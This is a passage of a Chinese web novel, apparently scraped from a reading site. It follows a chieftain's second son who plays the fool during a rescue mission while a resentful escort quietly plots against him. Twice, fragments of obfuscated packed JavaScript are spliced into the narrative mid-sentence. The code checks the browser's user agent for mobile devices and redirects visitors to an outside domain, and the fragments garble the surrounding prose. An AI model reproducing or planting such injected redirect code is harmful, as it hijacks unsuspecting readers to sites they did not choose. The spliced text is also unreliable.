“还坐着做什么,回去收拾。”阿旦暮见自己说完既云依旧坐着发呆,也不知刚才的那些话究竟听进去没有,一时又开始有些怀疑自己刚下的命令。 既云回过神来,抬眼时脸上已挂上了那副惯常的随性笑容:“急什么?这趟差事累得很啊,苦了谁也不能苦了自己。” 阿旦暮的眉头立刻皱了起来。而既云不用看都知道父亲此刻的表情,那副看烂泥的眼神他太熟悉了。 “日落前必须到东边营地集合,一刻不许迟!” 既云满不在乎地应了声,起身时余光瞥见伊莫欲言又止的表情。这个祥山族侍卫大概怎么也想不通,苍狩族族长为何会派这么个吊儿郎当的公子哥去救援。 于是既云还冲他眨了眨眼,语气还有些轻浮:“放心,保准把你们的族人都救出来,若是倒时祥山族的姑娘瞧得上我们的人,说不定还能白送几个汉子给你们。” 伊莫的脸色顿时变得精彩极了。既云面上笑意便更深几分,转身时袍角带起一阵风,狼牙坠子也跟着晃荡。他掀开帐帘听到不远处的南边传来兵器碰撞的声响,隐约还能听见角师粗犷的喝骂声。 他却在这一瞬忽得想起那少年的腰间似乎是挂着把骨刀的。 难不成是那里面的人么? 既云一时间福至心灵,又想着那少年瞧着身形不怎么壮实,年纪也不是很大,应当是还在里头练着,等他从祥山族回来,定要亲自去将人捞出来好好瞧瞧。 8.算计 傍晚的风将东边营地的破败草帘吹得飘起。东南方的天际线上,那片从清晨起就盘踞不散的乌云依旧压在远处的山脉上,像一块浸饱了水的灰布,沉沉地坠在远山的尖顶。 夕阳的余晖从云层缝隙里钻出来,把乌云的下缘晕成一片暗红,在天边铺展开来。 而苍狩族的上空却还晴朗着,晚风裹着草叶的清香,吹得营地边缘的旗子猎猎作响。 既云牵着马,坐在一块青石上,百无聊赖地咬着草茎。草汁的苦涩在舌尖蔓延,他眯起眼,望向不远处稀疏的帐篷群。这里比族地中心荒凉得多,帐篷稀疏歪斜而且十分破旧,兽皮补丁摞着补丁。 几个瘦小的孩子蹲在炊烟旁分食一块烤得焦黑的肉,很快又被从帐篷里出来的大人们叫了回去。远处,一个跛脚的老妇人正用木棍搅动陶罐里的糊粥,火光在一片昏暗中跃动着。 他们穿的都是粗劣的麻衣,居住在苍狩族最偏僻的边缘,无人问津。 他想起西边那些族中长老们的帐篷,兽皮厚实,彩绳垂挂族长的帐子里更是终年燃着稀罕的香料,甚至女奴们穿的衣物都要好过这里的许多人。 可强者占据丰美的草场和温暖的帐篷,弱者被遗忘在边缘是这世上人人都懂的道理。苍狩族能在这片土地上屹立数百年,靠的也从来不是心软。 既云在心里自嘲地笑了笑,觉得他这是自寻烦恼。要说起来他自己也是所谓的上位者之一,别人不怨恨他就差不多了,何况他也从来没有像自己别的几个兄弟那样的大志向,感慨一下也差不多了。 伊莫已经换了新的衣物,虽然依旧一副半死不活的样子,但好歹看起来体面些了。他牵着苍狩族拨给他的马,站在离既云三步远的地方,手指绞着缰绳绕圈圈。 他偷偷抬眼去看那位二少。男人正坐在一块风化的青石上,嘴里叼着根草茎,面无表情地望着远处破败的帐篷群。那张侧脸在暮光里显得格外锋利,耳垂上的狼牙坠子随着他咀嚼的动作轻轻晃动。 既云余光瞥见他的动作,心里一阵无奈。他本想扯个笑,但介于早晨之事,又怕再把这人吓着,索性继续板着脸,目光也没从东边的营地离开。 伊莫咽了咽唾沫。上回那个笑让他心有余悸,可如今这副冷脸更叫他心里发毛。他张了张嘴,想说点什么,又想起早上在苍狩族长帐子里既云最后同他说的那几句话,最终还是什么都没说,只是把腰弯得更低了些。 “二少。”粗犷的嗓音突然插进来,总角师带着一队人从营地外走来。他身后跟着乌泱泱一群战士,既有年轻的面孔,也有年纪大些的,但无一例外,眼神里都带着一股跃跃欲试的劲儿。 既云站起身,草茎从唇边掉落。他拍了拍衣摆,正要抬手示意出发,视线却在不经意地扫过人群时,倏得顿住了。 那叫他念念不忘的人,竟就在这其中。 暮光为少年镀上了一层金红色的轮廓。他比既云想象的要高挑结实一些,粗麻衣下的肩线有了明显的起伏,束腰的布带勒出一段劲瘦的弧度。 他的长发这回没有披在脑后,而是利落地束了起来,只有几缕碎发被风吹着贴在脸侧。与祭祀那日不同,此刻人群中的他眉宇间多了几分肃杀之气,虽不显山露水,却暗藏锋芒。 既云的喉结动了动。他原先还想着回来后再去南边训练营捞人,这会儿人却已经活生生地站在了他眼前,不过几步之遥。于是一股没没由来的轻快劲儿开始顺着他的脊椎往上窜,嘴角也忍不住跟着弯了弯。 这怎么不是另一种意义上的缘分呢? 总角师见他们二少突然就盯着自己身后出了神,一时疑惑也顺着他的视线看去,却没法确定既云看的到底是谁:“怎么,二少有看中的人?” 既云回过神,轻咳一声:“没呢,随便瞧瞧。” 他说着便翻身上马,又趁机多瞄了两眼。偏巧对方这次正好抬起了头,大约是察觉到了什么,也朝他这边望了过来。 心里莫名畅快了起来,既云收回视线,甩开马鞭,在渐起的风中扬声道:“出发!” 马蹄声如雷,惊散了东边营地的沉寂。 …… 天色逐渐沉下来,一行人也已经远离了苍狩族的领地。 东南方的乌云沉沉地压在山脉的轮廓线上,偶尔被闪电照亮狰狞的轮廓。既云勒住马缰,望着前方一片黑黢黢的密林。夜风穿过树梢,发出簌簌的响动,仿佛有无数双眼睛在暗处窥视。 伊莫驱马跟在既云身侧,不时指向远处的山影:“二少,往那个方向,穿过几片林子,就是祥山族的领地。” 他的声音本就不是很大,又因疾驰被夜风吹得断断续续:“若是穿过前面那片黑松林,能省下些路程……” 既云眯起眼睛。那片林子里全是极为高大的树木,月光大概率会被这些茂密的树冠割得支离破碎,根本不可能照亮路面。 十几岁时独自在丛林里摸爬打滚的经历,在既云的身体和和心上都留下了难以消退的痕迹。但他不得不承认,若不是当年父亲将他抛弃在林中任其自生自灭,他也不会有后来那般敏锐的洞察力与五感。 既云微微偏头,只听风声在耳畔呼啸,同时似乎又夹杂着某种动物断断续续的诡异难听叫声。只是他这两年的日子过的有点舒坦过头了,虽然训练没落下,可别的还是有所减退,一时还真辨别不出这是恶声鸟还是夜枭的叫声。 但无论如何,这林子都是进不得了的。 夜间穿行密林本就是非常愚蠢的行为,更别提他们这样一大队人马贸然进入,不仅容易惊动入眠的凶兽猛禽,还可能因为黑暗迷路。如此浅显的道理,既云还是知道的。 他于是勒住了马绳,正要对伊莫开口,身后却突然传来一阵急促的马蹄声。旋即,一个男人驱着马挡在了既云和伊莫之间。 “二少!” 那男人身着普通战士的皮甲麻衣,却在既云身侧勒住缰绳保持与他并驾齐驱。月光照出男人的面容,他看起来年龄不算大,约莫三十出头,但左眉上的一道旧疤却将眉毛断成两截。 “属下粱远,族长放心不下您,特命我随行。”粱远的声音刻意压低,眼睛却紧盯着既云的反应:“前面那片林子夜里不太平。” 他意有所指地顿了顿:“绕西侧山脊虽然远些,但稳妥,二少莫要因一时着急,惹出多余的麻烦。” 既云一脸茫然地听这人讲完,末了还略带懵懂地冲他眨了眨眼,又愣了两秒,脸上才突然露出个恍然大悟的表情:“多亏粱远兄弟提醒,我当真没想到这层!” 月光下,粱远嘴角微不可察地上扬。他于是放慢了策马的速度,转头对身后的战士们挥手,声音里还带着几分掩不住的得意:“所有人!改道西行!” 粱远慢慢退回人群,视线却一直没从既云的身上离开。他早听传闻说这族长的二公子是个没脑子的蠢货,二十岁了还成天在族中无所事事。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365968|182802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他原本对此将信将疑,但在今日接到这份随行的差事后一下子信了打半。而刚刚和既云的对话,则是让他完全相信了——这二少还果真如传闻所说一样是个废物,竟连这样的常识都没有。 粱远今年三十有五,在族里摸爬滚打十几年,至今也不过是个小小的巡逻队长。那些和他同期的,有的已经当上了狩猎队的副统领,有的被派去管理领地边缘。只有他,还日复一日地带着几个新兵蛋子在族地周围转悠,连个像样的战功都没捞着。 他盯着既云的背影,眼中闪过一丝轻蔑。这小子不过是命好,投胎成了族长的儿子。明明是个草包,却依旧能分到这样的要紧差事。 若不是最近边境摩擦不断,族中精锐和不少能人都被调去防备山炉族,族长长子又在筹备婚事,这样重要的任务怎么可能轮得到既云? 不过总的来说这也算得上是件好事,正是因为这会儿苍狩族中无人可用,才能轮得到他来当这个“监军”。 这次任务是个机会。只要盯紧了这个废物小子,把他的所作所为都记下来,回去一五一十地报告给族长,就能得到奖赏。运气再好些,说不定他还能在此次行动里立功,回去捞个战功和职位。 这么想着,粱远又不由觉得族长真是心大,也不怕这废物少爷到时惹出祸事来。他们苍狩族以勇武著称,历代族长都是铁血悍将,怎么偏偏生出这么个不成器的货色? 夜风拂过,吹动男人额前的碎发。他想起自己家中那个才十二岁就能拉开硬弓的儿子,心中更是不平。如若他的孩子能有既云这样的出身,现在怕是早就名震全族了。 这般一想,粱远心中陡然生出了一个歹念,虽说族长要他无论如何都必须保住既云的性命。 但若是死于意外,也未尝行不通。 “粱远大哥,”一个年轻的战士凑过来小声问道,“是你上前去同二少说要绕路的?他连这样的事都不知晓吗?” 粱远闻言立马收回思绪,板起脸道:“大胆,二少的决断岂是我等能随意妄加议论的?!” 几个战士交换了个眼神,有人忍不住小声嘀咕:“这分明是粱远兄弟上前说道后才下的改道的命令啊……” “闭嘴!”粱远厉声呵斥,心里却乐开了花。他就是要让所有人都知道,此次改道是他的功劳。 族长既不喜这个儿子,待回去复命时,他只需稍加修饰,这个既云是如何愚蠢,连最粗浅的常识都拎不清,全靠他提醒才没带着兄弟们去送死。 队伍转向西侧山路时,伊莫忍不住又瞥了既云一眼。他分明记得在那名叫粱远的男人插进他们之间以前,既云的马头就已经微微转向西侧,缰绳也收紧了——那分明是要改道的架势。 甚至在那男人开口的瞬间,伊莫还瞧得分明,既云脸上那沉静的神色倏地消失,取而代之的是一副茫然的蠢相,眨眼的那几下更是让伊莫感觉到了一种诡异的割裂感,仿佛眼前之人,与方才同那男人答话的,根本不是一个人! 难不成这位二少是故意佯装给那人看的? 可这又是何必?他贵为族长之子了,身份荣尊,犯不着在一个下人面前藏拙。 夜风渐强,吹散了云层,月光也明亮了几分。刚刚那些问题还在伊莫的脑海里盘旋,却没有答案,但他心里却生出了一种真切地敬畏——这是与他早上刚得知既云身份时完全不同的感受。 或许,这位二少才是那真正深藏不露的手段高明之人。 9.私心 山脊上的路确实要好走许多。他们沿着蜿蜒的山路行进,月光毫无遮挡地洒下来,前路清晰可见。 既云仰头嗅了嗅空气,总觉得空气中的土腥味似乎变浓了一些,疑心是要下雨。但他在这方面不是行家,没法完全肯定。于是他又望了望东南方,那片乌云似乎在以一种极为缓慢的速度移动,但远山的轮廓却依旧清晰。 既云想了想,还是决定稳妥些,等赶到下一个有山洞之类的位置就让大伙都停下来修整一番。山路总归是不好走的,遇上阴雨天只会越发艰难,说不定到时在这路上耗费的时间反而越加多——这没法确定的事,未雨绸缪还是有必要的。 “伊莫兄弟,我估摸着过段时间可能要变天,待会儿先找个地方停一会儿。”既云用靴跟轻磕马腹,声音不高不低恰好能让伊莫听见,算是先和他先打了个招呼。 伊莫疑惑地抬头看了眼晴朗的夜空,眉峰微蹙,话到嘴边正要反问,却猛地忆起自己在对方身上感觉到的种种非同寻常。于是到了舌尖的话又被他咽了回去,只是顺从地冲既云点了点头。 大约又赶了将近半个时辰的路,前方的山路突然隆起一道陡坡,一座岩丘出现在既云的视野里。那岩丘像是被巨斧劈过,一侧是陡峭的断面,另一侧却凹陷进去,形成了个天然的避风处。岩壁上垂挂着枯藤,在风中轻轻摇曳,像某种活物的触须。 不知是不是错觉,既云总觉得这半个时辰过去,月光似乎变得黯淡了不少,那股潮湿的土腥味似乎也变得更重了一些。他眯起眼仔细看了看,隐约还能看见那洞口上方的岩层是有层理褶皱的,下方还堆着些剥落的碎石块。 这种结构的洞穴通常内部干燥,算是比较适合临时避雨的。他于是猛地勒紧马绳,随即一声悠长的嘶鸣划破夜空,尾音在旷野里荡出老远。 “今晚在此处休整。”既云说着便翻身下了马。他走近岩壁,伸手拨开那些藤蔓,里面看起来还算宽敞,不算浅,容纳他们这些人马勉强应该还是可以的。 粱远再次策马从队伍后方赶上来,这回他眉头都拧成了一团:“二少,我们这才没走多远的路,再赶两个时辰也……” “不行啊。”既云毫不在意地打断了他,浑然不觉自己的话有什么问题,“骑了这么长时间的马,我有点累了。” 粱远怔住了,脸色也有些发白,旋即又一下子变得铁青。他的嘴角先是抽动了两下,随后整张脸都扭曲起来,活像是吞了死苍蝇却又不敢吐出来,难看极了。 他属实位既云这番大言不惭的胡话震住了,一时间愣是说不出话来,只觉得眼前这人荒唐至极。这好歹也是个救人命的大差事,他们早到一些时日,说不定就会有更多人得救。 他只觉先前还是高看了既云,实际上他不但蠢,还是个彻头彻尾的自私自利之人。 粱远在心底冷笑,这些养尊处优的人果然不会把别人的死活放在眼里,不过走了这么点路就受不了了,殊不知他这一句轻飘飘的“累了”,又要害死多少条性命。 “怎么?粱远兄弟还有什么别的事么?”既云仿佛完全没察觉到对方眼里那怨毒的神色,语气里甚至还带上了几分关切的意味。 “可是!”粱远的声音像是从牙缝里挤出来的,攥着马缰的手指节都泛了白,“祥山族那边……” “嗯?”既云歪着头看了他一眼,又拍了拍一旁伊莫的肩膀,“这么说,我确实思虑不周了?你既是阿爸派来的人,嗯——这样的话,不如粱远兄弟你带人先走?我与伊莫兄弟在此休整一二。” 他话音未落,粱远的瞳孔却猛然收缩,脸上的血色顿时唰地褪了个干净。这话像记闷棍敲在粱远头上,尤其是那句“你既是阿爸派来的”,不声不响地就戳在了他心里最心虚的地方。 于是有那么一瞬间,粱远疑心既云是看出了什么,想借机敲打他。 可当他抬头再看既云,却发现对方早已已经移开了视线,又开始拨弄他那骚包的耳坠了。他依旧是从头到脚都透露着一股没心没肺的劲儿,哪有粱远想的那些? 还有既云身边这个外族人,也不知道是脑子进水了还是有什么毛病,居然也丝毫不顾族群的安危,既云作出这样的决定居然也没有任何要反对的意思。 粱远额角的青筋跳了跳。他疑心自己应该只是有些警觉过头,以至于草木皆兵了。 但思绪这么一打岔,粱远好歹记起了族长给他的命令是把既云此次任务的表现传回去,而且必须寸步不离保证既云的安全。就算他真的要处置而后快,此时也绝非良机——起码,也要等他在身后那百号人中站稳脚跟了再说。 “属下不敢。”粱远这回没向上次一样讨到好处,虽然心中隐隐有些不快,但到底还是不敢在这种没把握的时候打草惊蛇。但他终究还是没忍住,在最后耍了个小心眼:“属下、属下去安排,方便一会儿点点人数。” 既云这回脸上出现了点不一样的表情,他若有所思的点了点头:“阿爸挑人的眼光的确不错,粱远兄弟做事果真周到,那就有劳了。” 说完他也不动,反而目送着粱远往回走了一段,才同伊莫一块儿进了山洞。 而一直跟在旁边的伊莫却越发惊惧了,这回他与既云并排而立,他没法观察既云的神色。但粱远的表情变化伊莫却看得清清楚楚,尤其是最后离开的时候,那神情里满是怨怼,却又藏着几分怯意,像极了那种被踩了尾巴的野狗,既不敢咬人,又不甘心就此罢休。 粱远骑着马往回走,只见众人面面相觑。见他走来马上就有不少人都将视线投到了他身上。 “都看什么看?!二少不是说了在此休整么?还愣着干嘛!” 有个胆大的人小声嘀咕:“这不是刚出发没多久……”结果话没说完就被粱远恶狠狠地瞪了回去。 “没听见吗?这是二少的安排。”粱远的声音陡然拔高,在寂静的夜里格外刺耳。 既云背对着众人,闻言肩膀可疑地抖动了两下。他伸手摸了摸鼻子,像是在掩饰什么。伊莫就跟在他身后,清楚地看见二少的肩膀有一瞬似乎在微微发颤。他愣了一下,总觉得这人刚刚应该是偷笑了一下。 粱远铁青着脸指挥众人进入山洞,语气十分不善,中间还骂了一个不小心绊倒的人,整个山洞里的气氛一下子变得凝重。而粱远却没意识到,还沉浸在自己的情绪里。他恶狠狠地踢开脚边的碎石,仿佛要把满腔怨气都发泄在这些死物上。 洞内很快热闹起来。战士们熟练地分工合作,有人拾柴,有人生火,还有人检查武器。既云一直盯着洞外的方向发呆,直到洞内逐渐明亮起来,他才终于收回了视线,转而看向洞内攒动的人头。 篝火在洞内呈零散分布,将干燥的岩壁映照出跃动的橘红色光影。战士们围着火堆席地而坐,皮甲和武器堆在一旁,有人掏出自带的腊肉在火上烤着,油脂滴落进火堆发出“滋滋”的声响。 众人的状态在昏暗狭小的空间里逐渐放松下来,有人解下水囊开始传饮,谈笑声也开始在岩洞内回荡。 既云靠坐在最里侧的岩壁旁,目光仔细地扫过每一张被火光照亮的脸,却怎么样也找不到自己要的那个人。 他起身往洞口方向走,发现夜风已经开始逐渐转强了,带着湿意的气流卷着枯叶袭来,差点糊了既云一脸。 他又将视线移向火光边缘的暗处。那里堆放着一些杂物,几个疲惫的战士靠在上边打盹。而再往外的阴影里,隐约还有个模糊的轮廓。 那人抱着膝盖靠坐在最角落,像是在打盹。他的长刀横放在手边,整个人几乎要与黑暗融为一体。 既云没忍住轻叹了一声。那少年正好处在火光最微弱的交界处,背后紧贴岩壁,左右都有杂物遮挡,他能看见所有人,别人却很难注意到他。 若非既云占据了位置上的优势,怕是一时半会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371394|182802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还真的找不到他。 然而思绪至此,他却无端回忆起一些旧事,觉得这藏在黑暗里的小崽子和自己以前的境遇有…… “二少这是在?”粱远一直有在偷偷留意既云的动向,见他突然起身走到了洞口,立马就凑了上去。 “哦,粱远兄弟方才不是说要点人数么。”思绪骤然被打断,既云脸上没什么表情,他觉得这人实在有点烦了,特别还是这种时候。 于是既云灵机一动决定说点这货爱听的让他高兴高兴,别有事没事就来烦自己,“我瞧你在忙就自己过来了,这些事我没经验都不知道,多亏了你提醒,回去我可得在阿爸面前好好说道说道。” 说完他又像刚刚拍伊莫的肩膀一样拍了拍粱远,还一脸真诚地笑着。 只见粱远眼中飞快地闪过一丝喜色,又很快压下:“应该的,应该的。” 他话音未落,一道闪电突然劈开夜空,紧接着洞外又炸响了一声惊雷。然而没等众人从这突如其来的雷电声中回过神来,豆大的雨点已经开始砸落,顷刻间就变成了暴雨。 雨水在山路上汇成浑浊的溪流,裹挟着碎石和断枝奔涌而下。远处传来树木倒塌的闷响,隐约还能听见野兽的哀嚎。伊莫听着那如雷般的雨声,心中倒吸了一口凉气——若是他们此刻还在山路上,恐怕就不是耗费点时间那么简单的事儿了。 他暗自庆幸当时听了既云的话,要不然他这条命还在不在都是个问题了。 不知是谁起的头,来了一句:“二少真是神机妙算!”,一时间几乎所有人都跟着赞叹了起来,唯有一人脸色阴沉。 粱远默不作声地从既云身边退回了人群中。这雨来得真不是时候,居然让那个废物白捡了个名声。而既云竟然还煞有介事一般地洞口站着朝众人摆手。他于是恶狠狠地折断手中的木柴,在心里冷笑,不过是瞎猫碰上死耗子,还真当自己料事如神了? 赞叹声中,既云瞥见那角落里的身影似乎微微动了动。那少年大约是被吵醒了,先是揉了揉眼睛,然后抬起头有些迷茫地四处张望了一番。 既云呼吸一滞,下意识往前迈了半步,旋即又停了下来。他们隔得很远,那点微弱的火光连照他的半边侧脸都有些模糊,既云却觉得自己眼前似乎浮现出了他的脸,还有他漆黑眸子里倒映着的跃动的火焰。 这幻觉来得莫名其妙,让他不得不掐了自己一把。可幻觉没了,刚才粱远过来打岔前的思绪又接了上来。既云皱了皱眉,莫名其妙地就开始瞎操心——这么湿冷的夜晚,坐那么远冻着了怎么办? 既云状似无意的朝少年所在的位置走了一段路。谁知这时火堆旁突然爆发出了一阵哄笑,几个战士灌多了马奶酒,正比划着下流的动作。既云不过是斜眼一瞟,却清清楚楚地看见其中一人转头朝角落里的那人瞥了一眼。 那一瞬间,眼前的画面猛地和他脑海深处的某个画面撞在了一起,既云顿时神色一凛,脚步一转突然横插进了那几人中央,脸上挂了个漫不经心的笑。火光映得他半边脸发亮,可那双漂亮的眼睛却骤然冷了下来。 “几位兄弟,这是聊什么呢?”既云双手撑着微曲的膝盖,轻飘飘地开口问道。 正说得唾沫横飞的汉子猛地抬头,又在对上既云眼睛的刹那时浑身一僵。那眼神如同藏着把刀一般锋利,吓得他手一抖,酒囊“啪”地便掉在了地上,马奶酒汩汩流出。 “二、二少……”几人顿时酒醒了大半,慌忙摆手,“没、没什么,都是些上不得台面的话。” “哦。”既云直起身,慢条斯理地整了整袖口。他语气明明十分温和,却让几个壮汉不约而同地缩了缩脖子:“少喝点酒,雨停了还得赶路呢。” 说罢他摆了摆手,神色又恢复了过来时的懒散摸样。 几人如蒙大赦,连滚带爬地回到各自的位置。既云站在原地没动,直到确认那几人没动作了,才慢悠悠地踱开。 10.失算 外边雨声依旧,一时半会儿大约是停不了的。洞顶垂下的藤蔓在风雨中摇晃,像无数晃动的绞索。 既云没再去多管阴影里那个人的情况,而是回到了自己最初坐着的位置。伊莫已经在一边躺着睡着了,他于是也在地上躺下。可半晌过去既云又发现自己毫无睡意,索性睁开眼发起呆来。 火光在岩壁上投下扭曲的影子,形如鬼魅。既云看着这些影子来回晃动,思绪也到处乱飘。 先说人,既云原先觉得他整个人的身形瞧着十分单薄,年纪应该还小。但靠得近了看,又确实比他想象的要高,也要壮实些,又猜测大约是接近成年的样子。 若是十八九岁,能从沙场里杀出来也不算稀奇。苍狩族里多得是天纵奇才的孩子,十四五岁就长得像座小山,肌肉虬结,挥刀如风。每年族中比武,总有几个这样的少年横空出世,把别些人都打得节节败退。 但那些孩子们无一例外都体格健硕,肩厚胯宽的。可这孩子……既云闭上眼,回忆起初见时的场景。那日他随意绑着的长发下露出一截苍白的脖颈,统一尺寸的麻衣空荡荡地挂在身上。 可即便如今外边套了合身的皮甲,勾勒出了身上肌肉的线条,但既云依旧觉得那衣袍下的身形过于单薄,像是被硬生生拉长的竹子,修长却不够坚实。 既云皱了皱眉。苍狩族的血脉里刻着强壮的烙印,哪怕是发育极慢的男孩子,到了十六七岁的年纪,也会慢慢变得魁梧起来。除非是有什么病,他以前听阿公说这种病是娘胎里带来的,出来了怎么样都没法根治。而得这种病的人大多身材矮小长不高也长不壮,还天生力气比别人少,随便跑两步就要喘不上气。 说起来既云年幼时还真见过这样的人——那的确是一个身材矮小的男人,尤其是站在阿爸和帐篷里的一众侍卫面前,甚至和他的阿妈比都有些逊色。他记得自己当时还问了一嘴,阿妈说那人是管族里每月固定的粮食和布匹分配的。 但思绪至此,他又觉得不大符合。要是真有这种病,那小崽子也长不到现在的身高,更别说他是从沙场里出来的,绝非善茬。既云又想了想,自作主张地给人诊断了结果是骨架不够大,挂不上肉。 雨声渐渐小了,最后只剩下零星的滴水声。洞外的天色依旧沉暗,但云层似乎已经没有先前那样厚重了。潮湿的冷风从洞口灌进来,带着泥土和草木的气息,篝火的焰尖被吹得微微颤动。 不知是不是年少时经历留下的后遗症,既云的睡眠一直以来都很浅,若是这种不熟悉的环境,更是连入睡都变得比平时困难。此刻他虽然闭着眼,呼吸平稳,实际脑袋还基本清醒着。 就在他以为自己可以这样半梦半醒地将就过这个夜晚时,一阵脚步声却忽然响起。 既云那本就微乎其微的睡意顿时烟消云散——那脚步声的主人明显是刻意放轻了脚步。别的既云不知道,反正这声音是离他越来越近就对了。 糟了,还真是冲他来的。 这般一想,既云顿时觉得自己浑身乏力使不上劲,连脑子都要转不动了——反正他就算不动脑子也能猜到来人是谁。就是搞不懂了,大半夜的不好好睡觉,老惦记着他是要做什么呢。 不出所料,下一刻,粱远的声音就在他头顶响起。那声音很轻,既云却觉得自己从中听出了一丝不耐烦:“二少,雨停了,该出发了。” 既云躺在地上一动不动,连呼吸的节奏都没变。 粱远等了几息,见没反应,又提高了一点音量:“二少?” 依旧没动静。 既云的睡相很安静,他侧身微蜷着,一只手搭在腰侧,看起来像是真的睡熟了。粱远居高临下地盯着他的背影,眉头越皱越紧,心里的不满也愈发强烈起来。他们在这儿耽搁了大半夜,结果这位二少爷居然睡得跟死猪一样,连叫都叫不醒?他忍不住伸手轻轻推了既云一把,可对方还是毫无察觉。 这人定然是叫不醒的,毕竟压根儿没睡。既云实在不想再同这人掰扯了,打定主意装死装到底。 粱远心里的烦躁逐渐上升为轻蔑。他咬了咬牙,这次直接俯下身,几乎贴着既云的耳朵喊道:“二少!该启程了!” 湿热的气息喷在耳畔,既云瞬间绷紧了后背。他确实没料到粱远为了叫醒他会这样。只是那声音的主人原本的嗓音十分粗犷,此刻却被刻意地压低。然而主人似乎对用这样的声线讲话也没什么经验,总之那声音在出口的一刻带上了几分诡异地尖细,如同一条黏腻的细蛇顺着耳廓爬进来,叫既云起了一身鸡皮疙瘩。 好在二少的忍耐力不是瞎吹的。既云眼看大计将成,决不能毁在这种事上,于是就这样硬生生地忍住了想起身给粱远来俩耳光的冲动,顺便大发慈悲给了始作俑者一点正常人的回应。 只见他微微皱了皱眉,又像真的睡梦中的人被烦扰后一般轻轻“唔”了一声,抬手揉了揉耳朵,顺势翻了个身,拉开了自己和傻大个的距离。 岂料粱远还不肯放弃,这回也不夹着那恶心人的声音了,干脆不管不顾地放大了声音,又叫了一声。 他这一声喊得完全不顾其他人的死活,在寂静的洞穴里格外刺耳,附近几个熟睡的战士被惊得猛地一颤,有人迷迷糊糊地嘟囔了一句“吵什么”,还有人翻了个身,不满地咂了咂嘴。伊莫也被吵醒了,半撑起身子,睡眼惺忪地望过来。 果真是千虑必有一失。 既云在心里叹了口气,终于慢悠悠地“醒”了过来。若是再装下去,这棒槌怕是要把整个山洞的人都吵醒了。 阴沟里翻船的二少先是装模作样地皱了皱眉,然后才缓缓睁开眼,眼神迷茫地望向粱远,仿佛刚从睡梦里被硬拽出来。他的声音还带着点沙哑,懒洋洋地道:“……嗯、粱远兄弟?怎么了?” 粱远的脸色难看极了,像是憋了一肚子火又不敢发作,只能硬邦邦地说道:“雨停了,该出发了。” 既云眨了眨眼,似乎还在消化这句话。他慢吞吞地坐起身,揉了揉后颈,又抬头看了眼洞外,发现月光恢复了一些,照得山路上的积水泛着光。 他当然知道雨停了,但 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这念头像野火一样蹿上来,烧得粱远胸口发烫,他的手不自觉地摸向腰间的刀柄。既云依旧背对着他,望着洞外的夜色,对此毫无察觉。 而下一秒,他的耳朵便敏锐地捕捉到了一声极轻的“铮”,是刀鞘里的刀刃被微微抽出的声音。 既云的唇角几不可察地勾了勾。他原本以为粱远只是个爱耍小聪明的怂蛋,没想到这人竟然能动杀心。既云心里有点欣赏他了,觉得此人勉强能配上一个有勇无谋。 可下一秒,那刀刃又被小心翼翼地推了回去,发出一声愈加几不可闻的轻响。粱远的呼吸粗重了一瞬,像是硬生生把那股杀气压了回去。 还是想早了。既云无声地叹了口气,觉得有些兴致索然。 粱远确实是好不容易才压下了心头的杀意,转而又立马换上一副忧心忡忡的表情:“二少,雨停了山里更不安全。依我看,得安排人守夜。” 此话说的在理,但是这人既然想管既云也不打算和他抢,正打算顺势装糊涂,随口应一句“那就你来安排吧”,好继续回去接着躺着。可他话才刚出口,黑暗中突然传来一道清冷的声线: “我去守夜。” 那声音既云从没听过,可他心头却像感知到了什么一般猛地一跳。他立即转头望去,见那少年竟不知何时已经站起身,正静静立在火光边缘的阴影里。半明半暗间,唯有那双眼睛亮得惊人。 两人视线猝不及防地撞在一起。既云呼吸一滞,又觉那双眼睛里映着的火光将他的心口烧得发烫。既云张了张嘴,竟一时忘了原本要说什么。 粱远也被这突如其来的声音惊了一下。他顺着声音望去,然后眯起眼睛打量这个陌生的少年。 他原本是巡猎队的人,自然也不认识角师派来的新人们。但既然有冤大头自己冒出来,那他不如就此顺水推舟。可答应的话刚到嘴边还没出口,他又听见既云忽然开了口。 “我同你一起。” 此话脱口而出的瞬间,除了既云本人,另两人都怔住了。 11.小惠 粱远登时瞪大了眼睛,满脸不可思议。这货刚刚还一副懒得管的模样,怎么这个不知从哪冒出来的小鬼一开口就改了主意?甚至还要一起?! 他的目光在两人之间来回扫视,突然间福至心灵:难不成这是既云手下的人? 这个念头像道闪电劈进粱远的天灵盖。他后颈的汗毛齐刷刷竖起,后背沁出了一层冷汗。没想到这个二少居然竟然还知道留一手,倒也算有两分手段。粱远庆幸刚才没真的动手,他虽然不觉得会敌不过那个少年,但多了个人便多了麻烦,总归动静还是大了点,容易打草惊蛇。 他于是强作镇定地干笑两声:“二少不去休息吗?这种小事交给下面人去做就行了……” “托你的福啊粱远兄弟,”既云突然回头,火光正好照在他半边脸上。他嘴角挂着笑,眼睛却黑沉沉的:“这不是睡不着了嘛。” 粱远被这眼神钉在原地,喉结上下滚动。不知是光线原因,还是被自己心中所想牵涉,他竟生出一种“此人绝非善茬”的念头。 少年似乎也没料到既云会这么说,微微蹙眉。但很快又恢复如常,转身朝洞口走去。 既云挑了挑眉,跟上他的脚步,旋即又想起什么似的再次回过头,十分贴心地冲粱远喊:“粱远兄弟你也早点休息,明天还得赶路呢。” 